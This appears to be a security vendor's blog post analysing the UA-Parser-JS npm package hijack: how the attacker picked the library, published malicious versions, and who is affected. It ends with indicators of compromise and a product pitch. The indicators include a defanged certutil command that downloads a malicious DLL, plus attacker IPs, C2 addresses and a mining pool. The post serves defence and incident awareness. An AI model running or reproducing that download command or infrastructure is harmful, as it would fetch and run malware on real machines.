And if you think you are safe (as you recently procured a well marketed commercial open source dependency scanner) is when you are most in danger as all such tools lack intelligence to track such advanced infiltration patterns.

The phrase “Think like an Attacker” is often abused in cyber security to encourage people and organizations to get inside the head of the groups which are targeting them.

Here’s what’s wrong with think like an attacker: most people have no clue how to do it. They don’t know what matters to an attacker. They don’t know how an attacker spends their day. They don’t know how an attacker approaches a problem.

Lately, I’ve been challenging people to think like a professional chef. Most people have no idea how a chef spends their days, or how they approach a problem. They have no idea how to plan a menu, or how to cook a hundred or more dinners in an hour.

~ Adam Shostack

I’d strongly encourage everyone to pause and watch this entire presentation by Haroon Meer titled Learning the wrong lessons from Offense. Haroon’s presentations are often vendor-agnostic, honest, informative and downright fabulous.

Key takeaways : You cannot teach a defender to think like an attacker. As Haroon wisely states (quoting from Richard Feynman’s Cargo Cult Science), we as defenders follow everything that we see the attacker do, then model detection in isolation (honeypots, adversarial modeling, situational awareness) and not grasp the point bearing context.

Let’s now revert back to UA-Parser-JS incident and speculatively understand how an infiltrator organized her/his actions.

Modeling the Infiltrators mindset

Act 1: Prey Selection

Identify the most popular libraries imported/used in the NPM package index.

Why pick this library?

It’s imperative that us-parser.js (7.9MM weekly downloads) is fairly popular and ranked on the fortnight index. The UA-Parser-JS library is used to parse a browser’s user agent to identify a visitor’s browser, engine, OS, CPU, and Device type/model.

Act 2: Understanding the depth of supply chain

Faisal Salman’s page list’s several F50/F500 companies using UAParser.js in their supply chain. The infiltrator is now well informed of far reaching consequences of weaponizing this library.

Act 3: Hijack the committer’s NPM account

The infiltrator got access to the committer’s keys/identity and managed to publish malicious versions. It has not been publicly stated how the threat actor got access to the publisher’s identity. Note, the source code in this case was not compromised, but rather altered offline and published into the NPM repository ( as versions 0.7.29, 0.8.0, 1.0.0)

“I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary),”

said Faisal Salman, the developer of UA-Parser-JS, in a bug report.

“I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which triggered the install of malware”

Act 4: TTPs : Threading the Needle — Evidence Markers

Step-1 : Bootstrapping

Run-book for Linux based environments

Run-book for Windows based environments

Far reaching impact

• Infiltrate developer machines, build environments (CI/CD) and production servers
• Laterally move to more sensitive environments in network
• The malware might most likely steal credentials and upload to anonymous severs (via Danabot RAT), hence the secondary effects may not be visible for a long time

Who is affected

• One or more of your applications are dependent or upgraded (auto patched) malicious versions to ua-parser-js (0.7.29, 0.8.0, 1.0.0).
• Had a direct or indirect dependency on the ua-parser-js, without explicitly locking down versions (forcing fetch of latest by default).

IOCs

    certutil.exe -urlcache -f https[:]//citationsherbe[.]at/sdd.dll
     
    create.dll citationsherbe[.]at 95[.]213.165.20 
    pool[.]http://minexmr.com http[:]//159[.]148.186.228/jsextension.exe 159[.]148.186.228
    sdd.dll (SHA256: 2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd)
    jsextension.exe (SHA256: 47DDED0EFC230C3536F4DB1E2E476AFD3EDA8D8EA0537DB69D432322CDBAC9CA)
    C2 addresses discovered in sdd.dll 
    194[.]76.225.46:443 
    185[.]158.250.216:443 
    45[.]11.180.153:443 
    194[.]76.225.61:443

How can we help?

Upgrading libraries in a mature application can be costly. This can make customer and partner security requirements painful to accommodate. I-SCA carries over its unique ability to gauge “reachability” to it’s SBoM reports. These reports include reachability statistics for each CVE discovered. This objective analysis reduces open risk exposure to only that which impacts your application.

ShiftLeft’s I-SCA goes beyond simply checking to see if the vulnerable package is called by your application. As part of ShiftLeft CORE, it runs alongside NG-SAST to determine whether a threat actor can actually reach the known vulnerability. This removes a great deal of work for developers by eliminating the need to upgrade packages, a process that can take hours to perform and weeks to schedule.